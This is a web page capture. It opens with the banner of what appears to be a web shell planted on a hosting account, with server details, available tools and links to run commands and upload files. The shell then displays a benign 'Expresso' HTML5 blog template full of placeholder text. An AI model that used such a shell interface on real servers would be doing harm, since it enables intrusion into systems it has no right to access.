|
Server IP : 185.61.154.36 / Your IP : 216.73.216.106 Web Server : Apache System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : gettoplisting ( 12043) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/gettoplisting/public_html/-20251107200418/oy5mbk/../../../yedek/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<!--[if lt IE 7]><html dir="ltr" lang="en-US" class="ie6"><![endif]-->
<!--[if IE 7]><html dir="ltr" lang="en-US" class="ie7"><![endif]-->
<!--[if IE 8]><html dir="ltr" lang="en-US" class="ie8"><![endif]-->
<!--[if gt IE 8]><!--><html dir="ltr" lang="en-US"><!--<![endif]-->
<head>
<meta content="text/html;charset=utf-8" http-equiv="content-type" />
<meta name="description" content="cmsmasters responsive html5 website template" />
<meta name="keywords" content="html5, css3, template, responsive, adaptive" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" href="css/style.css" type="text/css" media="screen" />
<link rel="stylesheet" href="css/styles/fonts.css" type="text/css" media="screen" />
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Droid+Serif:regular,italic,bold,bolditalic" type="text/css" />
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Crete+Round:400,400italic" type="text/css">
<link rel="stylesheet" href="css/styles/jquery.prettyPhoto.css" type="text/css" media="screen" />
<link rel="stylesheet" href="css/styles/jquery.jPlayer.css" type="text/css" media="screen" />
<!--[if lt IE 9]>
<link rel="stylesheet" href="css/styles/ie.css" type="text/css" />
<link rel="stylesheet" href="css/styles/ie_css3.css" type="text/css" media="screen" />
<![endif]-->
<script src="js/modernizr.custom.all.js" type="text/javascript"></script>
<script src="js/css3MediaQueries.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/jquery.easing.js" type="text/javascript"></script>
<title>Expresso - Responsive HTML5 Site Template</title>
</head>
<body>
<!-- __________________________________________________ Start Page -->
<section id="page">
<a href="#" id="slide_top"></a>
<!-- __________________________________________________ Start Header -->
<header id="header">
<div class="header">
<a class="logo" href="index.html"><img src="images/logo.png" alt="" /></a>
<a class="resp_navigation" href="javascript:void(0);"><span><span></span></span></a>
<nav>
<ul id="navigation">
<li><a href="javascript:void(0);"><span>Home<span>Hello!</span></span></a>
<ul>
<li><a href="index.html"><span>Home</span></a></li>
<li><a href="index2.html"><span>Home 2</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Features<span>Tasty cakes</span></span></a>
<ul>
<li><a href="javascript:void(0);"><span>Shortcodes</span></a>
<ul>
<li><a href="buttons.html"><span>Buttons</span></a></li>
<li><a href="boxes.html"><span>Information Boxes</span></a></li>
<li><a href="columns.html"><span>Columns</span></a></li>
<li><a href="tooltips.html"><span>Tooltips</span></a></li>
<li><a href="tabs.html"><span>Tabs & Toggle</span></a></li>
<li><a href="shortcodes.html"><span>Post Type Shortcode</span></a></li>
<li><a href="media.html"><span>Media</span></a></li>
<li><a href="player.html"><span>Audio & Video Players</span></a></li>
<li><a href="lightboxes.html"><span>Lightboxes</span></a></li>
<li><a href="tour.html"><span>Site Tour</span></a></li>
<li><a href="googlemaps.html"><span>Google Maps</span></a></li>
</ul>
</li>
<li><a href="typography.html"><span>Typography</span></a></li>
<li><a href="javascript:void(0);"><span>Layouts</span></a>
<ul>
<li><a href="about.html"><span>About</span></a></li>
<li><a href="services.html"><span>Services</span></a></li>
<li><a href="error.html"><span>404 Error Page</span></a></li>
<li><a href="sitemap.html"><span>Sitemap</span></a></li>
<li><a href="lsidebar.html"><span>Left Sidebar</span></a></li>
<li><a href="rsidebar.html"><span>Right Sidebar</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Heading Templates</span></a>
<ul>
<li><a href="heading.html"><span>Standard Heading</span></a></li>
<li><a href="heading_icon.html"><span>With Icon</span></a></li>
<li><a href="heading_text.html"><span>With Text</span></a></li>
<li><a href="heading_icon_text.html"><span>Heading With Icon & Text</span></a></li>
</ul>
</li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Portfolio<span>Showcase</span></span></a>
<ul>
<li><a href="javascript:void(0);"><span>Sortable Portfolio</span></a>
<ul>
<li><a href="portfolio_sort_one.html"><span>One Column</span></a></li>
<li><a href="portfolio_sort_two.html"><span>Two Columns</span></a></li>
<li><a href="portfolio_sort_three.html"><span>Three Columns</span></a></li>
<li><a href="portfolio_sort_four.html"><span>Four Columns</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Portfolio Without Sorting</span></a>
<ul>
<li><a href="portfolio_one.html"><span>One Column</span></a></li>
<li><a href="portfolio_two.html"><span>Two Columns</span></a></li>
<li><a href="portfolio_three.html"><span>Three Columns</span></a></li>
<li><a href="portfolio_four.html"><span>Four Columns</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Project Layouts</span></a>
<ul>
<li><a href="project_slider.html"><span>Image Slider</span></a></li>
<li><a href="project_video.html"><span>Video</span></a></li>
<li><a href="album_four.html"><span>Album Four Columns</span></a></li>
<li><a href="album_three.html"><span>Album Three Columns</span></a></li>
<li><a href="album_two.html"><span>Album Two Columns</span></a></li>
<li><a href="album_one.html"><span>Album One Column</span></a></li>
</ul>
</li>
</ul>
</li>
<li class="current_page_item"><a href="javascript:void(0);"><span>Our Blogs<span>What's new?</span></span></a>
<ul>
<li><a href="blog_sidebar.html"><span>Blog With Sidebar</span></a></li>
<li class="current_page_item"><a href="blog_fwidth.html"><span>Full Width Blog</span></a></li>
<li><a href="openpost.html"><span>Blog Post</span></a></li>
</ul>
</li>
<li><a href="contacts.html"><span>Contacts<span>Get in touch</span></span></a></li>
</ul>
</nav>
</div>
</header>
<!-- __________________________________________________ Finish Header -->
<!-- __________________________________________________ Start Middle -->
<div class="container">
<div class="cont_nav">
<a href="index.html">Home</a> / <a href="blog_sidebar.html">Our Blogs</a> / Full Width Blog
</div>
<section id="middle">
<div class="middle_inner">
<section id="top_sidebar">
<div class="headline">
<h4>Full Width Blog</h4>
</div>
</section>
<!-- __________________________________________________ Start Content -->
<section id="middle_content">
<div class="entry_summary">
<section class="blog">
<article class="post hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Standard post with image</a></h2>
</header>
<figure>
<a href="openpost.html" class="preloader inBlog">
<img src="images/img/blog_2.jpg" alt="" class="fullwidth" />
</a>
</figure>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem. Donec eget pellentesque libero. Curabitur accumsan metus et nulla rutrum quis eleifend felis luctus.</p>
</div>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-noimg">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Standard post with image</a></h2>
</header>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem. Donec eget pellentesque libero. Curabitur accumsan metus et nulla rutrum quis eleifend felis luctus.</p>
</div>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-aside">
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem.</p>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-link">
<header class="entry-header">
<hgroup>
<h2 class="entry-title"><a href="openpost.html">[Link] Good music to listen</a></h2>
<h6 style="color:#b2b2b2; margin-top:-20px;">- Soundcloud.com - </h6>
</hgroup>
</header>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia.</p>
</div>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post format-gallery hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Image / Gallery post format</a></h2>
</header>
<div class="shortcode_slideshow" id="slideshow_1">
<div class="shortcode_slideshow_body">
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#slideshow_1 .shortcode_slideshow_slides').cmsmsResponsiveContentSlider( {
sliderWidth : '100%',
sliderHeight : 'auto',
animationSpeed : 500,
animationEffect : 'slide',
animationEasing : 'easeInOutExpo',
pauseTime : 0,
activeSlide : 1,
touchControls : true,
pauseOnHover : false,
arrowNavigation : false,
slidesNavigation : true
} );
} );
</script>
<div class="shortcode_slideshow_container">
<ul class="shortcode_slideshow_slides responsiveContentSlider">
<li>
<figure>
<img src="images/img/blog_1.jpg" alt="Slide 1" class="fullwidth" />
</figure>
</li>
<li>
<figure>
<img src="images/img/blog_2.jpg" alt="Slide 2" class="fullwidth" />
</figure>
</li>
<li>
<figure>
<img src="images/img/blog_3.jpg" alt="Slide 3" class="fullwidth" />
</figure>
</li>
</ul>
</div>
</div>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem. Donec eget pellentesque libero. Curabitur accumsan metus et nulla rutrum quis eleifend felis luctus.</p>
</div>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post format-audio hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Audio post format</a></h2>
</header>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#jquery_jplayer_4').jPlayer( {
ready : function () {
jQuery(this).jPlayer('setMedia', {
m4a : 'http://www.jplayer.org/audio/m4a/TSP-01-Cro_magnon_man.m4a',
oga : 'http://www.jplayer.org/audio/ogg/TSP-01-Cro_magnon_man.ogg'
} );
},
cssSelectorAncestor : '#jp_container_4',
swfPath : 'css/styles',
supplied : 'mp3, m4a, ogg, oga, webm, webma, wav',
wmode : 'window'
} );
} );
</script>
<div id="jquery_jplayer_4" class="jp-jplayer" style="display:none;"></div>
<div id="jp_container_4" class="jp-audio">
<div class="jp-type-single">
<div class="jp-gui jp-interface">
<div class="jp-progress">
<div class="jp-seek-bar">
<div class="jp-play-bar"></div>
</div>
</div>
<div class="jp-duration"></div>
<div class="jp-time-sep">/</div>
<div class="jp-current-time"></div>
<div class="jp-controls-holder">
<ul class="jp-controls">
<li><a href="#" class="jp-play" title="Play" tabindex="1"><span>play</span></a></li>
<li><a href="#" class="jp-pause" title="Pause" tabindex="1"><span>pause</span></a></li>
<li><a href="#" class="jp-stop" title="Stop" tabindex="1"><span>stop</span></a></li>
</ul>
<div class="jp-volume-bar">
<div class="jp-volume-bar-value"></div>
</div>
<ul class="jp-toggles">
<li><a class="jp-mute" href="#" title="Mute" tabindex="1"><span>Mute</span></a></li>
<li><a class="jp-unmute" title="Unmune" href="#" tabindex="1" style="display:none;"><span>Unmute</span></a></li>
</ul>
</div>
</div>
<div class="jp-title">
<ul>
<li></li>
</ul>
</div>
<div class="jp-no-solution" style="display:none;">
<span>Update Required</span>To play the media you will need to either update your browser to a recent version or update your <a target="_blank" href="http://get.adobe.com/flashplayer/">Flash plugin</a>
</div>
</div>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia.</p>
</div>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post format-video hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Video post format</a></h2>
</header>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#jquery_jplayer_1').jPlayer( {
ready : function () {
jQuery(this).jPlayer('setMedia', {
m4v : 'http://www.jplayer.org/video/m4v/Big_Buck_Bunny_Trailer_480x270_h264aac.m4v',
ogv : 'http://www.jplayer.org/video/ogv/Big_Buck_Bunny_Trailer_480x270.ogv',
poster : 'http://www.jplayer.org/video/poster/Big_Buck_Bunny_Trailer_480x270.png'
} );
},
cssSelectorAncestor : '#jp_container_1',
swfPath : 'css/styles',
supplied : 'mp4, m4v, ogg, ogv, webm, webmv',
size : {
width : '100%',
height : '100%'
}
} );
} );
</script>
<div id="jp_container_1" class="jp-video fullwidth">
<div class="jp-type-single">
<div id="jquery_jplayer_1" class="jp-jplayer"></div>
<div class="jp-gui">
<div class="jp-video-play" >
<a href="#" class="jp-video-play-icon" title="Play">Play</a>
</div>
<div class="jp-interface">
<div class="jp-progress">
<div class="jp-seek-bar">
<div class="jp-play-bar"></div>
</div>
</div>
<div class="jp-duration"></div>
<div class="jp-time-sep">/</div>
<div class="jp-current-time"></div>
<div class="jp-controls-holder">
<ul class="jp-controls">
<li><a href="#" class="jp-play" title="Play" tabindex="1"><span>play</span></a></li>
<li><a href="#" class="jp-pause" title="Pause" tabindex="1"><span>pause</span></a></li>
<li><a href="#" class="jp-stop" title="Stop" tabindex="1"><span>stop</span></a></li>
</ul>
<div class="jp-volume-bar">
<div class="jp-volume-bar-value"></div>
</div>
<ul class="jp-toggles">
<li><a class="jp-mute" href="#" title="Mute" tabindex="1"><span>Mute</span></a></li>
<li><a class="jp-unmute" title="Unmune" href="#" tabindex="1"><span>Unmute</span></a></li>
<li><a class="jp-full-screen" title="Full Screen" href="#" tabindex="1"><span>Full Screen</span></a></li>
<li><a class="jp-restore-screen" title="Restore Screen" href="#" tabindex="1" style="display:none;"><span>Restore Screen</span></a></li>
</ul>
<div class="jp-title">
<ul>
<li></li>
</ul>
</div>
</div>
</div>
<div class="jp-no-solution" style="display:none;">
<span>Update Required</span>To play the media you will need to either update your browser to a recent version or update your <a target="_blank" href="http://get.adobe.com/flashplayer/">Flash plugin</a>
</div>
</div>
</div>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia.</p>
</div>
<a href="#" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-quote">
<div class="entry-content">
<blockquote>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem.</blockquote>
<p style="text-align:right;">John Snow</p>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<a href="#" class="button"><span>Learn More</span></a>
</article>
</section>
</div>
</section>
<!-- __________________________________________________ Finish Content -->
</div>
</section>
<!-- __________________________________________________ Finish Middle -->
<!-- __________________________________________________ Start Bottom -->
<section id="bottom">
<div class="bottom_inner">
<div class="one_fourth">
<aside class="widget widget_custom_portfolio_entries">
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('.widget_custom_portfolio_entries_slides').cmsmsResponsiveContentSlider( {
sliderWidth : '100%',
sliderHeight : 'auto',
animationSpeed : 500,
animationEffect : 'slide',
animationEasing : 'easeInOutExpo',
pauseTime : 5000,
activeSlide : 1,
touchControls : true,
pauseOnHover : false,
arrowNavigation : false,
slidesNavigation : true
} );
} );
</script>
<div class="widget_custom_portfolio_entries_container bottom_content_slider">
<h4 class="widgettitle">Sliding article</h4>
<ul class="widget_custom_portfolio_entries_slides responsiveContentSlider">
<li>
<figure>
<img src="images/img/sliding_1.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
<li>
<figure>
<img src="images/img/sliding_2.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
<li>
<figure>
<img src="images/img/sliding_3.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
</ul>
</div>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_custom_tweets_entries">
<h4 class="widgettitle">Twitter</h4>
<div id="tweetFeed"></div>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tweetFeed').jTweetsAnywhere({
username: 'cmsmasters',
count: 2,
showTweetFeed : {
showTwitterBird: false
}
});
});
</script>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_links">
<h4 class="widgettitle">List widget</h4>
<ul>
<li><a href="#">Styling options</a></li>
<li><a href="#">Theme options</a></li>
<li><a href="#">Sidebars & widgets</a></li>
<li><a href="#">Shortcodes</a></li>
<li><a href="#">Blogs & posts</a></li>
<li><a href="#">Sliders & slides</a></li>
<li><a href="#">Contact form builder</a></li>
<li><a href="#">Demo content</a></li>
<li><a href="#">Gallery & albums</a></li>
<li><a href="#">Page options</a></li>
</ul>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_custom_contact_form_entries">
<h4 class="widgettitle">Quick contacts</h4>
<div class="cmsms-form-builder">
<div class="widgetinfo">Thank you! <br />Your message has been sent successfully.</div>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#form_contact_form_widget_001').validationEngine('init');
jQuery('#form_contact_form_widget_001 a#contact_form_widget_001_wformsend').click(function () {
var form_builder_url = jQuery('#contact_form_widget_001_wurl').val();
jQuery('#form_contact_form_widget_001 .loading').animate( {
opacity : 1
} , 250);
if (jQuery('#form_contact_form_widget_001').validationEngine('validate')) {
jQuery.post(form_builder_url, {
field_002 : jQuery('#field_002').val(),
field_004 : jQuery('#field_004').val(),
formname : 'contact_form_widget_001',
formtype : 'widget'
}, function () {
jQuery('#form_contact_form_widget_001 .loading').animate( { opacity : 0 }, 250);
document.getElementById('form_contact_form_widget_001').reset();
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').hide();
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').fadeIn('fast');
jQuery('html, body').animate( { scrollTop : (jQuery('#form_contact_form_widget_001').offset().top - 100) }, 'slow');
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').delay(5000).fadeOut(1000);
} );
return false;
} else {
jQuery('#form_contact_form_widget_001 .loading').animate( { opacity : 0 }, 250);
return false;
}
} );
} );
</script>
<form action="#" method="post" id="form_contact_form_widget_001">
<div class="form_info cmsms_input">
<label for="field_002">Your email<span class="color_3"> *</span></label>
<input type="text" name="wname" id="field_002" size="22" tabindex="11" class="validate[required,custom[email]]" />
</div>
<div class="form_info cmsms_textarea">
<label for="field_004">Message<span class="color_3"> *</span></label>
<textarea name="wmessage" id="field_004" cols="28" rows="6" tabindex="13" class="validate[required,minSize[3]]"></textarea>
</div>
<div class="fr"><a href="#" id="contact_form_widget_001_wformsend" class="button" tabindex="14"><span>Submit</span></a></div>
<div class="loading"></div>
<div><input type="hidden" name="contact_form_widget_001_wurl" id="contact_form_widget_001_wurl" value="http://your-site.net/php/sendmail.php" /></div><!-- Here you need to set the path to the sendmail file -->
</form>
</div>
</aside>
</div>
</div>
</section>
<!-- __________________________________________________ Finish Bottom -->
</div>
</section>
<!-- __________________________________________________ Finish Page -->
<!-- __________________________________________________ Start Footer -->
<footer id="footer">
<div class="footer_inner">
<div class="fr">
<p class="fl">Find us elsewhere</p>
<ul class="social_list fr">
<li><a href="#" class="link_tooltip" title="Facebook"><img src="images/socicons/facebook.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Flickr"><img src="images/socicons/flickr.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Twitter"><img src="images/socicons/twitter.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Last fm"><img src="images/socicons/lastfm.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Vimeo"><img src="images/socicons/vimeo.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Google+"><img src="images/socicons/googleplus.png" alt="" /></a></li>
</ul>
</div>
<span>Expresso © 2012 All rights reserved</span>
<div class="cl"></div>
</div>
</footer>
<!-- __________________________________________________ Finish Footer -->
<script src="js/jquery.prettyPhoto.js" type="text/javascript"></script>
<script src="js/jquery.script.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine-lang.js" type="text/javascript"></script>
<script src="js/jquery.jPlayer.min.js" type="text/javascript"></script>
<script src="js/jquery.jPlayer.playlist.min.js" type="text/javascript"></script>
<script src="js/jquery.jtweetsanywhere.js" type="text/javascript"></script>
</body>
</html>